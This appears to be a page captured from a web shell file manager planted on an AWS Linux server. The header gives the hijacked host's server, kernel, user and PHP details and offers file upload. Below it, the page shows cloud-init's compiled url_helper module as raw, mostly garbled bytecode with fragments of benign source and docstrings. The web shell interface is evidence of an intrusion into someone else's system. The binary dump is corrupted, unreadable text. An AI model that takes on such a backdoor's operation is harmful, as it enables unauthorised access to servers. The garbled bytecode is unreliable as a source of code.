https://t.me/RX1948
Server : nginx/1.24.0
System : Linux ip-172-31-33-48 6.14.0-1011-aws #11~24.04.1-Ubuntu SMP Fri Aug 1 02:07:25 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
Directory :  /lib/python3/dist-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/cloudinit/__pycache__/url_helper.cpython-312.pyc
�

x[h�����ddlZddlZddlZddlZddlZddlZddlZddlZddlm	Z	m
Z
mZddlm
Z
ddlmZddlmZddlmZddlmZddlmZmZmZmZmZmZmZmZmZdd	l m!Z!m"Z"m#Z#m$Z$ddl%Z%dd
l%m&Z&ddl'm(Z(m)Z)m*Z*ejVe,�Z-dZ.eed
ge/fZ0d�Z1d�Z2de3fd�Z4dKde5de6de7ddfd�Z8de5ddfd�Z9dedfd�Z:Gd�d�Z;Gd�de;�Z<Gd�de;�Z=Gd �d!�Z>Gd"�d
e?�Z@d#�ZAd$e5de6fd%�ZBdd&�d'e@d(e0dee6fd)�ZCdddd*ddddd+d+ddd,d+d-d,d.�d(e0d/e/de>fd0�ZD	dLd1ed2efd3e5de3d4ej�d5ee6defd6�ZF		dMd1ed2efd8ee5d9e6de3deee5ee>ff
d:�ZGGd;�d<e�ZHe6d=�de-j�dddddd-d+d7d>�d?e6dee6d@edAeedBee6d(e0dCeeee6ge6fdDe5dEe/dFe6fdG�ZJGdH�dI�ZK	dLdJ�ZLy)N�N)�ThreadPoolExecutor�TimeoutError�as_completed)�	parsedate)�partial)�	NOT_FOUND)�count)�create_default_context)	�Any�Callable�Iterator�List�Mapping�
NamedTuple�Optional�Tuple�Union)�quote�urlparse�urlsplit�
urlunparse)�
exceptions)�performance�util�version�REDACTED�UrlErrorc�r�tt|d���}|ds|dr
|d|d<d|d<t|�S)N�http)�scheme���)�listrr)�url�
parsed_urls  �6/usr/lib/python3/dist-packages/cloudinit/url_helper.py�	_cleanurlr(1sC���h�s�6�2�3�J��a�=�Z��]�#�1�
�
�1�
��
�1�
��j�!�!�c�0�d�}|}|D]}|||�}�
|S)Nc��tt|��}|d}|r|jd�s|dz
}|tt	|�d��z
}||d<t|�S)Nr"�/z/:)�safe)r$r�endswithr�strr)r%�add_on�
url_parsed�paths    r'�combine_singlez#combine_url.<locals>.combine_single<sY���(�3�-�(�
��!�}����
�
�c�*��C�K�D���c�&�k��-�-���
�1�
��*�%�%r)�)�base�add_onsr3r%r0s     r'�combine_urlr7;s.��&��C��*���S�&�)��*��Jr)�returnc
�8�tjdtjdtjdtjdt
di}|j
t|��}|s5t|t�r|j}|Stjd�d}|S)z4helper for read_ftps to map return codes to a number�,���iXi�z9Unexpected exception type while connecting to ftp server.i����)
�ftplib�error_reply�
error_temp�
error_perm�error_proto�EOFError�get�type�
isinstance�OSError�errno�LOG�warning)�exc�ftp_error_codes�codes   r'�"ftp_get_return_code_from_exceptionrMKs���	���C����3����3����C��#��O����t�C�y�)�D���c�7�#��9�9�D��K�	
�K�K�K�
��D��Kr)r%�timeout�kwargs�FtpResponsec	�L�t|�}|jstdtd|���t	j
�5}|jxsd}|jxsd}d|jk(�rH	tjt���}tjd||�|j|j||xsd	�
�tjd|�	|j#||j$xsd��tjd�|j'�	tjd|j,�|j/d|j,��|j0��t3|j5�|�tjd�|j7�cddd�S	tj8�}
tjd||�|
j|j||xsd	�
�tjd|�|
j#||j$xsd��tjd|j,�|
j/d|j,��|j0��t3|j5�|�tjd�|
j7�cddd�S#tj$r'}t!|�}	td|�d|	�d
�|	d|��|�d}~wwxYw#tj($r*}tj+d�tddd|��|�d}~wwxYw#tj$r'}t!|�}	td|�d|	�d
�|	d|��|�d}~wwxYw#tjd�|j7�wxYw#tj$r'}t!|�}	td|�d|	�d
�|	d|��|�d}~wwxYw#tjd�
j7�wxYw#1swYyxYw)azconnect to URL using ftp over TLS and read a file

    when using strict mode (ftps://), raise exception in event of failure
    when not using strict mode (ftp://), fall back to using unencrypted ftp

    url: string containing the desination to read a file from. The url is
        parsed with urllib.urlsplit to identify username, password, host,
        path, and port in the following format:
            ftps://[username:password@]host[:port]/[path]
        host is the only required component
    timeout: maximum time for the connection to take
    kwargs: unused, for compatibility with read_url
    returns: UrlResponse
    zInvalid url providedN��causerL�headersr%��	anonymous�ftps)�contextz3Attempting to connect to %s via port [%s] over tls.�@)�host�portrNz1Reading file from server over tls failed for url z [�]z"Attempting to login with user [%s]r#)�user�passwdzCreating a secure connectionz�Attempted to connect to an insecure ftp server but used a scheme of ftps://, which is not allowed. Use ftp:// to allow connecting to insecure ftp servers.r<zReading file: %szRETR )�callbackzClosing connectionz,Reading file from ftp server failed for url z(Attempting to connect to %s via port %s.)r�hostnamerr�io�BytesIOr[�usernamer r=�FTP_TLSr
rH�debug�connect�
all_errorsrM�login�password�prot_pr@rIr2�
retrbinary�writerP�getvalue�close�FTP)r%rNrO�	url_parts�bufferr[r]�ftp_tls�erL�ftps           r'�	read_ftpsrubs�� ��
�I�����(�y�$�C�
�	
�
����j���~�~�#����!�!�0�[���Y�%�%�%�
� �.�.�2�4����	�	�I����
���"�+�+��#�N�s� �� 
�I�I�:�D�A�
��
�
��$�-�-�3�����	�	�8�9���� �"
 ��	�	�,�i�n�n�=��"�"��I�N�N�+�,�v�|�|�#��#�6�?�?�#4�c�:��	�	�.�/��
�
��Sj�j�V
��j�j�l���	�	�>��T�����"�+�+��#�N�s���
�	�	�>��E��	�	��$�-�-�3�����	�	�,�i�n�n�=�����y�~�~�&6�7�&�,�,��O�"�6�?�?�#4�c�:��	�	�.�/��	�	��Uj�j��$�$�$�

�9�!�<���*�*-��b���a�9�� ������

��&�$�$�
����C��
�N�� ��	��	��

��.�$�$�

�9�!�<���+�+.�%�r�$��q�:�� ������

���	�	�.�/��
�
���(�$�$�

�9�!�<���+�+.�%�r�$��q�:�� ������

���	�	�.�/��	�	���Uj�j�s��1P�1AK�P�AL�&A#M�	%P�9C'N3� %P�L	�""L�L	�	P�M	�%M�M	�	P�N�"N�N�N	�	'N0�0P�3O-�"O(�(O-�-O0�0'P�P�P#r2�FileResponsec�*�|jd�rtjd|�	tj|�}t||�S#t$r}t|td|��|�d}~wt$r}t||jd|��|�d}~wwxYw)zmread a binary file and return a FileResponse

    matches function signature with read_ftps and read_url
    �dataz'Unable to post data to file resource %sNrR)rCrHrIr�load_binary_filerv�FileNotFoundErrorrr�IOErrorrG)r2rO�contentsrss    r'�
_read_filer}�s���
�z�z�&�����=�t�D�M��(�(��.���H�d�+�+���O��Q�Y��$�G�Q�N���M��Q�Q�W�W�d��E�1�L��M�s#� A
�
	B�A'�'B�3B
�
B)rv�UrlResponserPc�^�|j�}	t|�}|j}|dk(s
|rd|dk(rt|jfi|��S|dvrt|fi|��S|dvrt|fi|��Stjd|�t|fi|��S#t$r}t||��|�d}~wwxYw)	a0Wrapper function around readurl to allow passing a file path as url.

    When url is not a local file path, passthrough any kwargs to readurl.

    In the case of parameter passthrough to readurl, default values for some
    parameters. See: call-signature of readurl in this module for param docs.
    )rSr%N�filer,r)rtrW)r�httpszAttempting unknown protocol %s)�lstripr�
ValueErrorrr r}r2ru�readurlrHrI)r%rO�parsedrsr s     r'�read_file_or_urlr��s����*�*�,�C�0��#����]�]�F�
���C�C�3�q�6�M��&�+�+�0��0�0�	�?�	"���'��'�'�	�$�	$��s�%�f�%�%����4�f�=��s�%�f�%�%���0��Q�C�(�a�/��0�s�B�	B,�B'�'B,c� �eZdZdd�Zd�Zd�Zy)�StringResponsec�<�||_i|_||_||_y�N)rLrTr|r%)�selfr|r%rLs    r'�__init__zStringResponse.__init__s����	���� ��
���r)c� �|jdk(S)N���rL�r��argsrOs   r'�okzStringResponse.oks���y�y�C��r)c�8�|jjd�S)Nzutf-8)r|�decode�r�s r'�__str__zStringResponse.__str__s���}�}�#�#�G�,�,r)N�r�)�__name__�
__module__�__qualname__r�r�r�r4r)r'r�r�s��� �-r)r�c�*��eZdZddedef�fd�
Z�xZS)rvr|r%c�*��t�|�|||��y)Nr���superr�)r�r|r%rL�	__class__s    �r'r�zFileResponse.__init__!s���
����3�T��2r)r��r�r�r��bytesr/r��
__classcell__�r�s@r'rvrv s���3��3�S�3�3r)c�(��eZdZdedef�fd�Z�xZS)rPr|r%c�&��t�|�||�yr�r�)r�r|r%r�s   �r'r�zFtpResponse.__init__&s���
����3�'r)r�r�s@r'rPrP%s���(��(�S�(�(r)c��eZdZdejfd�Zedefd��Zede	fd��Z
ddefd�Zed��Z
edefd��Zd	�Z	dd
eededeefd�Zy
)r~�responsec��||_yr�)�	_response)r�r�s  r'r�zUrlResponse.__init__+s	��!��r)r8c�\�|jj�y|jjS)Nr))r��contentr�s r'r|zUrlResponse.contents.s%���>�>�!�!�)���~�~�%�%�%r)c�.�|jjSr�)r�r%r�s r'r%zUrlResponse.url4s���~�~�!�!�!r)c�@�d}|rd}d|jcxkr|kryyy)Nr:r;r�TFr�)r��redirects_ok�uppers   r'r�zUrlResponse.ok8s-������E��$�)�)�#�e�#��$�r)c�.�|jjSr�)r�rTr�s r'rTzUrlResponse.headersAs���~�~�%�%�%r)c�.�|jjSr�)r��status_coder�s r'rLzUrlResponse.codeEs���~�~�)�)�)r)c�.�|jjSr�)r��textr�s r'r�zUrlResponse.__str__Is���~�~�"�"�"r)�
chunk_size�decode_unicodec#�XK�|jj||�Ed{���y7��w)atIterates over the response data.

        When stream=True is set on the request, this avoids reading the content
        at once into memory for large responses.

        :param chunk_size: Number of bytes it should read into memory.
        :param decode_unicode: If True, content will be decoded using the best
        available encoding based on the response.
        N)r��iter_content)r�r�r�s   r'r�zUrlResponse.iter_contentLs"�����>�>�.�.�z�>�J�J�J�s� *�(�*N)F)r!F)r�r�r��requests�Responser��propertyr�r|r/r%�boolr�rT�intrLr�rr
r�r4r)r'r~r~*s���"��!2�!2�"��&�%�&��&�
�"�S�"��"�����&��&��*�c�*��*�#�EJ�K�"�3�-�K�=A�K�	�%��Kr)r~c
�>�eZdZ			ddedeedeedeefd�Zy)rNrSrLrTr%c��tj|t|��||_||_|�in||_||_yr�)r{r�r/rSrLrTr%)r�rSrLrTr%s     r'r�zUrlError.__init__\s:��	����s�5�z�*���
���	�&-�o��7�����r))NNN)	r�r�r�rrr�rr/r�r4r)r'rr[sE��#�%)�!�����s�m���'�"�	�
�c�]�r)c���i}t|�j}|dk(rE|rCd|vr|dr	|d|d<nd|d<d|vrd|vr|d|dg|d<|Sd|vrt|d�|d<|S)Nr��ca_certs�verifyT�	cert_file�key_file�cert)rr r/)r%�ssl_details�ssl_argsr s    r'�
_get_ssl_argsr�js����H�
�c�]�
!�
!�F�
���[���$��Z�)@�!,�Z�!8�H�X��!%�H�X���+�%�*��*C��K�(��J�'� �H�V���O��K�
'�"�;�{�#;�<�H�V���Or)�retry_afterc�^�	t|�}|S#t$r�	t|�}|std��ttj|�tj�z
�}n'#t$rt
j
d|�d}YnwxYw|dkrt
j
d�d}Y|SwxYw)a<Parse a Retry-After header value into an integer.

    : param retry_after: The value of the Retry-After header.
        https://www.rfc-editor.org/rfc/rfc9110.html#section-10.2.3
        https://www.rfc-editor.org/rfc/rfc2616#section-3.3
    : return: The number of seconds to wait before retrying the request.
    z(Failed to parse Retry-After header valuezGFailed to parse Retry-After header value: %s. Waiting 1 second instead.r!rzBRetry-After header value is in the past. Waiting 1 second instead.)�floatr�r�time�mktimerH�info)r��to_wait�
time_tuples   r'�_get_retry_afterr�|s������$��,�N��+��	�"�;�/�J�� �!K�L�L��D�K�K�
�3�d�i�i�k�A�B�G���	��H�H�,��
�
�G�
	���Q�;��H�H�,�
��G���N�+�s3��	B,�AA%�$B,�%!B	�B,�B	�	B,�+B,��exception_cb�errorr�c��|r	||�ry|jrk|jdk(r\tjd�|jr%t	|jjdd��Stj
d�y|sy|�)a�Handle exceptions raised during request processing.

    If we have no exception callback or the callback handled the error or we
    got a 503, return with an optional timeout so the request can be retried.
    Otherwise, raise the error.

    :param error: The exception raised during the request.
    :param response: The response object.
    :param exception_cb: Callable to handle the exception.

    :return: Optional time to wait before retrying the request.
    Ni�zEEndpoint returned a 503 error. HTTP endpoint is overloaded. Retrying.zRetry-After�1z7Unable to introspect response header. Waiting 1 second.r!)rLrHrIrTr�rCr�)r�r�s  r'�
_handle_errorr��st��"��U�+���z�z�e�j�j�C�'����
5�	
��=�=�#�E�M�M�$5�$5�m�S�$I�J�J����J�K����
�Kr)r!TFr#)rxrN�retries�sec_betweenrT�
headers_cb�headers_redactr��check_status�allow_redirectsr��session�infinite�log_req_resp�request_method�streamr�c	�:�t|�}||d�}|jt||��|
|d<|s|rdnd}||d<|�.t|t�r||d<ntt
|�d�|d<|�g}d	}|rtt|�d	zd	�}d
tj�z}|�|j�}ni}|r||d<|�d}|�tj�}t�D�]}|r||�}d
|vr||d
<||d<i}|j�D]g\}}|dk(r�|dk(rR|rP|D�cgc]}|j|�s�|��}}|s�7tj |�|<|D]}t"|||<��c|||<�i	|rt$j'd||
rdn|||�|j(di|��}|	r|j+�t$j'd||j,t/|j0�|d	z�t3|�cStId��cc}w#t4j6$r}t9||��|�d}~wt4j:$rC}t9||j<j,|j<j>|��}|}Yd}~n4d}~wt4j@$r}t9||��}|}d}Yd}~nd}~wwxYwtC||��}|s|
xs|d	z|k}|s||�|xs|} |dkDs��	|rt$j'd|�tEjF| ���8)a`Wrapper around requests.Session to read the url and retry if necessary

    :param url: Mandatory url to request.
    :param data: Optional form data to post the URL. Will set request_method
        to 'POST' if present.
    :param timeout: Timeout in seconds to wait for a response. May be a tuple
        if specifying (connection timeout, read timeout).
    :param retries: Number of times to retry on exception if exception_cb is
        None or exception_cb returns True for the exception caught. Default is
        to fail with 0 retries on exception.
    :param sec_between: Default 1: amount of seconds passed to time.sleep
        between retries. None or -1 means don't sleep.
    :param headers: Optional dict of headers to send during request
    :param headers_cb: Optional callable returning a dict of values to send as
        headers during request
    :param headers_redact: Optional list of header names to redact from the log
    :param ssl_details: Optional dict providing key_file, ca_certs, and
        cert_file keys for use on in ssl connections.
    :param check_status: Optional boolean set True to raise when HTTPError
        occurs. Default: True.
    :param allow_redirects: Optional boolean passed straight to Session.request
        as 'allow_redirects'. Default: True.
    :param exception_cb: Optional callable to handle exception and returns
        True if retries are permitted.
    :param session: Optional exiting requests.Session instance to reuse.
    :param infinite: Bool, set True to retry indefinitely. Default: False.
    :param log_req_resp: Set False to turn off verbose debug messages.
    :param request_method: String passed as 'method' to Session.request.
        Typically GET, or POST. Default: POST if data is provided, GET
        otherwise.
    :param stream: if False, the response content will be immediately
    downloaded.
    )r%r�r��POST�GET�methodNrNrr!z
Cloud-Init/%srx���z
User-AgentrTz'[%s/%s] open '%s' with %s configurationr�z(Read from %s (%s, %sb) after %s attempts)r%�rLrTr%r��1Please wait %s seconds while we wait to try againz"This path should be unreachable...r4)%r(�updater�rE�tuple�maxr�r�r�version_string�copyr��Sessionr	�itemsrC�deepcopyrrHre�request�raise_for_statusr��lenr�r~r�SSLErrorr�	HTTPErrorr�rT�RequestExceptionr�r��sleep�RuntimeError)!r%rxrNr�r�rTr�r�r�r�r�r�r�r�r�r�r��req_args�manual_tries�
user_agent�i�filtered_req_args�k�v�matched_headers�keyr�rs�	url_error�raised_exception�response_sleep_time�
will_retry�
sleep_times!                                 r'r�r��sg��j�C�.�C����H�
�O�O�M�#�{�3�4�"1�H�
���#'��U��'�H�X�����g�u�%�")�H�Y��"%�e�G�n�a�"8�H�Y�������L���3�w�<�!�+�Q�/�� �G�$:�$:�$<�=�J����,�,�.����������������"�"�$���W�Q#��� ��o�G��w�&�$.�G�L�!�%�������N�N�$�
	)�D�A�q��F�{���I�~�.�.<�"I�����a��1�"I��"I�"�+/�=�=��+;�%�a�(�.�=��4<�)�!�,�S�1�=�()�!�!�$�
	)�(	���	�	�=��"*�J���%��'�w���2��2�H���)�)�+��I�I�:���$�$��H�$�$�%��Q��
��x�(�(�[Q#�f�;�
<�<��M#J��B�"�"�	.��1�#�&�A�-���#�#�	!� ���Z�Z�+�+��
�
�*�*��	�I� !����*�*�	� ���,�I� ���H��	��
,��%�
��#�!�;�a�!�e�l�&:�J���%5�5�(�7�K�
���?���	�	�G���
�J�J�z�"s=�*H�H�>BH�J>�+H9�9J>�9J
�
J>�#J9�9J>�func.�addr�event�delayc�>�|r|j|��ry|||�S)z Execute func with optional delay�rNN��wait�rr	rNr
rs     r'�_run_func_with_delayrps'��
�
�:�:�e�:�$����g��r)�333333�?�	addresses�
stagger_delayc
�N�d}d}d}g}tj�}tt|���}		t	|�D�
�cic]$\}
}|	jt|||||
|z��|��&}}
}t||��D]h}
||
}|
j�}|r|}|j|��/|
j�}|s�B|j�||fc|	jd��S|rtjd||�|�tjd|�t!d	��cc}}
w#t"$rFtjd
dj%|�dj%t't(|���YnwxYw	|	jd��||fS#|	jd��wxYw)aexecute multiple callbacks in parallel

    Run blocking func against two different addresses staggered with a
    delay. The first call to return successfully is returned from this
    function and remaining unfinished calls are cancelled if they have not
    yet started
    N)�max_workersrr
Frz<Exception(s) %s during request to %s, raising last exceptionzEmpty result for address %szNo result returnedzJTimed out waiting for addresses: %s, exception(s) raised while waiting: %s� )�	threading�Eventrr��	enumerate�submitrr�	exception�append�result�set�shutdownrHrer�r�r�join�mapr/)rrrrN�
return_result�returned_address�last_exceptionr�is_done�executorr�r	�futures�future�return_exceptions               r'�
dual_stackr+�s����M���.2�N��J��o�o��G�"�c�)�n�=�H�5&�%�Y�/�

���4�
�O�O�$������=�(�

�
��
�

��

�#�7�G�<�	=�F�&�v���%�/�/�1���!1��!�
�!�!�.�1� &�
�
��
� ��K�K�M�,�m�<�<�2	���u��%�O	=�$��I�I�-�� �	
�!� ��I�I�3�5E�F��1�2�2��S

��X�
��	�	�
4��H�H�Y���H�H�S��j�)�*�		
�
��	
�	���u��%��m�,�,��	���u��%�s>�D'�)D!�*AD'�<D'�$AD'�'AE6�3F�5E6�6F�F$c�>�eZdZUeeed<eeed<eeed<y)�HandledResponser%r��	wait_timeN)r�r�r�rr/�__annotations__r~r�r4r)r'r-r-�s#��	�#����{�#�#����r)r-�inf)�max_waitrN�	status_cbr�r�rr��
sleep_time_cbr��connect_synchronously�async_delayr1r2r�rr3r�r4r5c�T������	��������dtdtf�fd�}ddtdtdtfd��d	ttd
ttdt
tttffd��dttgt
ttttffd
ttttfdtdtdtdtf��fd��d
tdtdtf���	fd��dtf�������fd�}
dtf����fd�}tj�}�r
|rtd��|
r|
n|}|xs|}d�d}	|||||�}d�|j r"|j"|j j$fS|j&r'tj(|j&��dz�d��o||��}��||�r	y�dz�t*j-d|�tj(|�tj�}|r||z|�zkDr�||z
z
}|dkr	y��)a
Wait for a response from one of the urls provided.

    :param urls: List of urls to try
    :param max_wait: Roughly the maximum time to wait before giving up
        The max time is *actually* len(urls)*timeout as each url will
        be tried once and given the timeout provided.
        a number <= 0 will always result in only one try
    :param timeout: Timeout provided to urlopen
    :param status_cb: Callable with string message when a url is not available
    :param headers_cb: Callable with single argument of url to get headers
        for request.
    :param headers_redact: List of header names to redact from the log
    :param sleep_time: Amount of time to sleep between retries. If this and
        sleep_time_cb are None, the default sleep time defaults to 1 second
        and increases by 1 seconds every 5 tries. Cannot be specified along
        with `sleep_time_cb`.
    :param exception_cb: Callable to handle exception and returns True if
        retries are permitted.
    :param sleep_time_cb: Callable with 2 arguments (response, loop_n) that
        generates the next sleep time. Cannot be specified
        along with 'sleep_time`.
    :param request_method: Indicates the type of HTTP request:
        GET, PUT, or POST
    :param connect_synchronously: If false, enables executing requests
        in parallel
    :param async_delay: Delay before parallel metadata requests, see RFC 6555

    :return: tuple of (url, response contents), on failure, (False, None)

    :raises: UrlError on unrecoverable error
    �loop_numberr8c������S|dzdzS)N�r!r4)�_r7rs  �r'�default_sleep_timez(wait_for_url.<locals>.default_sleep_time
s���'�3�z�M���9I�A�9M�Mr)rr1�
start_timerc�j�|td�dfvry|dkxstj�|z
|z|kDS)z4Check if time is up based on start time and max waitr0NFr)r�r��	monotonic)r1r<rs   r'�timeupzwait_for_url.<locals>.timeups@����e��d�+�+���A�
�
��N�N��z�)�J�6��A�	
r)r�r%c��d}d}|r|sd}tt|��}||fS	|jj�|js?d|jz}tt|�|j|j|��}||fS|j�s;d|jz}tt|�|j|j|��}||fS#tj
j$rN}t||jj|jj|��}|t|�fcYd}~Sd}~wwxYw)z?Map requests response code/contents to internal "UrlError" typer#NzRequest timed outr�zempty response [%s]zbad status code [%s])rr�r�r�r�rr�r�r�rTr/r|rLr�)r�r%�reason�url_excrss     r'�handle_url_responsez)wait_for_url.<locals>.handle_url_responses8�������S�(�F��z�&�1�2�G��F�?�"�	#�
���/�/�1�� � �*�h�m�m�<�F���6�"��]�]� �(�(��	�G��� � �����+�x�}�}�=�F���6�"��]�]� �(�(��	�G��� � ��3�"�"�,�,�	#����Z�Z�+�+��
�
�*�*��	�G��C��F�?�"��	#�s�C�E�5AD>�8E�>E�
url_reader_cb�urls�exc_cb�log_cbc����d}d}	||�\}}�
||�\}}|st||d��S	tt	j
�|z
�}
�rd�znd}d|xs
t
|d	d	��d
|
�d|�d|��}||�tddt|t�rt||�
���Sd��S#t$r}	d|	z}|	}Yd}	~	��d}	~	wt$r}	d|	z}|	}Yd}	~	��d}	~	wwxYw)z:Execute request, handle response, optionally log exceptionr#N)r.zrequest error [%s]zunexpected error [%s]z%ss�	unlimitedz	Calling 'r%z
' failed [r,z]: r��r%r�r.)	r-r�	Exceptionr�r�r>�getattrrEr�)rDrEr<rFrGrAr%r�rBrs�
time_taken�max_wait_str�
status_msgrCr1s             ��r'�read_url_handle_exceptionsz0wait_for_url.<locals>.read_url_handle_exceptionsAs�������
	�)�$�/�M�C��1�(�C�@�O�G�V��&�s�H��E�E������)�J�6�7�
�+3�u�x�'����1�7�7�E�5�1�1����	
�
�	�z������g�x�0��g�F�;�	
�	
��

�	
��!�	�)�A�-�F��G���	�,�q�0�F��G��	�s#�&B-�-	C�6C�C�C�CrNc�:��t|��in�|��|d���S)NF)rTr�rNr�r�)r�)r%rNr�r�r�s  ���r'�read_url_cbz!wait_for_url.<locals>.read_url_cbms-�����$�,�B�*�S�/�)���)�

�	
r)c����dtf�
�fd�}g}�D]�}tj�}�
dk7r;�s9��|�rtddd��cS���r|�z|�zkDrt	|�z|z
���|||||�}|j
r|cS|js��|j|j���|rt|�nd}	tdd|	��S)z|iterate over list of urls, request each one and handle responses
        and thrown exceptions individually per url
        r%c���|�|��fSr�r4)r%rRrNs ��r'�url_reader_serialz@wait_for_url.<locals>.read_url_serial.<locals>.url_reader_serial~s�����S�'�2�3�3r)rNrJ)	r/r�r>r-r�r�r.rr�)r<rNrFrGrU�
wait_timesr%�now�outr.�loop_nr1�must_try_againrRrPr?rEs `        �������r'�read_url_serialz%wait_for_url.<locals>.read_url_serialws����	4�3�	4��
��	1�C��.�.�"�C���{�>��(�J�/�*� �4�4����(���w��*�x�*?�@�"�:��#8�C�"?�@�G�,�!�3�
�F�F��C��|�|��
�����!�!�#�-�-�0�+	1�,(2�C�
�O�t�	��4�$�)�L�Lr)c�B��tt��|��}�|�|||�S)z�pass list of urls to dual_stack which sends requests in parallel
        handle response and exceptions of the first endpoint to respond
        )rrN)rr+)	r<rNrFrG�url_reader_parallelr5rRrPrEs	     ����r'�read_url_parallelz'wait_for_url.<locals>.read_url_parallel�s6���&���%��	
��*���z�6�6�
�	
r)z3sleep_time and sleep_time_cb are mutually exclusiveNTFr!r�)FN)r)r�r�rr~r/rrrrrr�ExceptionCallbackr-r�r>r�r�r%r|r.r�rHre)rEr1rNr2r�r�rr�r3r�r4r5r;r[r^r<�do_read_url�calculate_sleep_timer��resp�current_sleep_time�current_timerCrYrZrRrPr?s``  ```  ` `          @@@@@@r'�wait_for_urlre�sS����^N�3�N�5�N�
��
�E�
�u�
�'!��;�'�'!�.6�s�m�'!�	�x��!�3�&�	'�'!�R*
��
�E�5��#����(=�=�>�>�
�*
��C��c��N�#�	*
�
�*
�"�
*
��*
�
�*
�X
��
�s�
�{�
�"M�	�"M�"M�H
�	�
�
� ���!�J��m��N�O�O�1��6G��)�>�,>���F��H�
��:�w��i�H�����=�=��8�8�T�]�]�3�3�3�3�
�^�^��J�J�t�~�~�&��a�Z�F�!�N��1�(�F�C���(�J�(:�;��"��!����	�	�?��	
�	
�
�
�%�&��~�~�'���|�g�-�
�X�0E�E��,��";�<�G��!�|���=r)c�T�eZdZ					dd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d	�Z
d
�Zd�Zy)
�OauthUrlHelperNc�<�||_|xsd|_||_||_||_d|_d|_|j|j|jf}t|�sd|_nt|�std��|j�}|xsi|_y)Nr#Tr9FzBall or none of token_key, token_secret, or consumer_key can be set)�consumer_key�consumer_secret�	token_key�token_secret�skew_data_file�	_do_oauth�skew_change_limit�any�allr��read_skew_file�	skew_data)r�rirkrlrjrm�required�olds        r'r�zOauthUrlHelper.__init__�s���)���.�4�"���"���(���,������!"����N�N�D�$5�$5�t�7H�7H�I���8�}�"�D�N��X���*��
�
�!�!�#������r)c�t�|jr�tjj|j�rbt	j
d|j���5t
|jd��5}tj|�cddd�cddd�Sy#1swYnxYwddd�y#1swYyxYw)NzReading �r��mode)	rm�osr2�isfiler�Timed�open�json�load)r��fps  r'rrzOauthUrlHelper.read_skew_file�s������2�7�7�>�>�$�2E�2E�#F��"�"�X�d�.A�.A�-B�#C�D�
%�d��#�#�#�G�
%���y�y��}�
%�
%�
%��	
%�
%��
%��	
%��s$�B.�0B�	B.�B"	�B.�.B7c�^�|jsy|j�}|�i}|||<tjd|j���5t	|jd��5}|jt
j|��ddd�ddd�y#1swY�xYw#1swYyxYw)NzWriting �wrx)rmrrrr|r}rlr~�dumps)r�rZ�value�curr�s     r'�update_skew_filezOauthUrlHelper.update_skew_files����"�"���!�!�#���;��C���D�	�
�
�
��$�*=�*=�)>�?�
@�	&�$����c�C
�	&�
��H�H�T�Z�Z��_�%�	&�	&�	&�	&��	&�	&�s$�	B#�!%B�B#�B 	�B#�#B,c���t|t�r|jdk(s|jdk(syd|jvr!tjd|j�y|jd}	t
jt|��}t|t
j�z
�}t|j�j}|jj|d�}t!||z
�|j"kDr)|j%||�tjd||�||j|<y#t$r!}tjd||�Yd}~yd}~wwxYw)Ni�i��datez$Missing header 'date' in %s responsez#Failed to convert datetime '%s': %srz$Setting oauth clockskew for %s to %d)rErrLrTrHrIr�r�rrKr�rr%�netlocrsrC�absror�)r�rr��remote_timers�skewrZ�old_skews        r'r�zOauthUrlHelper.exception_cbs!���y�(�+����3�&�)�.�.�C�*?����*�*�*��K�K�>�	���O��� � ��(��	��+�+�i��o�6�K�
�;�����,�-���	�
�
�&�-�-���>�>�%�%�d�A�.���x�$���$�"8�"8�8��!�!�$��-��K�K�>��d�K�#����t�����	��K�K�=�t�Q�G���	�s�/D<�<	E&�E!�!E&c�L�|jsiSd}t|�j}|jr;||jvr-t	tj
��|j|z}t
||j|j|j|j|��S)N)r%rirkrlrj�	timestamp)rnrr�rsr�r��
oauth_headersrirkrlrj)r�r%r�rZs    r'r�zOauthUrlHelper.headers_cb*s����~�~��I��	���}�#�#���>�>�d�d�n�n�4��D�I�I�K�(�4�>�>�$�+?�?�I����*�*��n�n��*�*� �0�0��

�	
r)c��t|j|jd��|d<t|j|jd��|d<||i|��S)Nr�r�)r�_headers_cbrC�
_exception_cb)r��wrapped_funcr�rOs    r'�_wrappedzOauthUrlHelper._wrapped<s\��&����f�j�j��6� 
��|��")�����
�
�>� :�"
��~���T�,�V�,�,r)c�0�|jt||�Sr�)r�rer�s   r'rezOauthUrlHelper.wait_for_urlEs���}�}�\�4��8�8r)c�0�|jt||�Sr�)r�r�r�s   r'r�zOauthUrlHelper.readurlHs���}�}�W�d�F�3�3r)c�n�d}	|r||�}|j|�|S#|j|�wxYw)NTr�)r��extra_exception_cbr�rets    r'r�zOauthUrlHelper._exception_cbKs>����	)�!�(��3�����i�(��
��
���i�(�s�
!�4c�^�i}|r||�}|j|j|��|Sr�)r�r�)r��extra_headers_cbr%rTs    r'r�zOauthUrlHelper._headers_cbTs.�����&�s�+�G����t���s�+�,��r))NNNNz/run/oauth_skew.json)
r�r�r�r�rrr�r�r�r�rer�r�r�r4r)r'rgrg�sE������-�
#�6�&��8
�$-�9�4��r)rgc���	ddlm}|rt	|�}nd}|j|||||j|��}|j|�\}	}
}|
S#t$r}td�|�d}~wwxYw)Nrzoauth support is not available)�
client_secret�resource_owner_key�resource_owner_secret�signature_methodr�)�oauthlib.oauth1�oauth1�ImportError�NotImplementedErrorr/�Client�SIGNATURE_PLAINTEXT�sign)r%rirkrlrjr�r�rs�client�_uri�signed_headers�_bodys            r'r�r�\s���K�(���	�N�	��	�
�]�]��%�$�*��3�3��
��F�#)�+�+�c�"2��D�.�%����#�K�!�"B�C��J��K�s�A�	A*�A%�%A*)rYr�)r�
)Mr�r=rar~�loggingrzrr��concurrent.futuresrrr�email.utilsr�	functoolsr�http.clientr�	itertoolsr	�sslr
�typingrrr
rrrrrr�urllib.parserrrrr�r�	cloudinitrrr�	getLoggerr�rHrr�r_r(r7r�rMr/r��dictrur}r�r�rvrPr~r{rr�r�r�r�rrr+r-rerergr�r4r)r'�<module>r�s^���
�	���	���M�M�!��!��&�
�
�
�?�>���0�0��g����!�����X�z�l�D�&8�9�:��"�
� �s��.�3��������D
M�S�
M�~�
M� &�
�7�8�&�<-�-�3�>�3�
(�.�(�
.K�.K�b�w���$�#��%��J'+����$���e�_�	�J
��
��������&*��
����%m=�$�m=�$
�%m=�&�'m=�j"��
�3��8�
��

�����?�?�	�
�E�?��	�
�*!��	P-�
�3��8�
�P-��C�y�P-��P-��	P-�
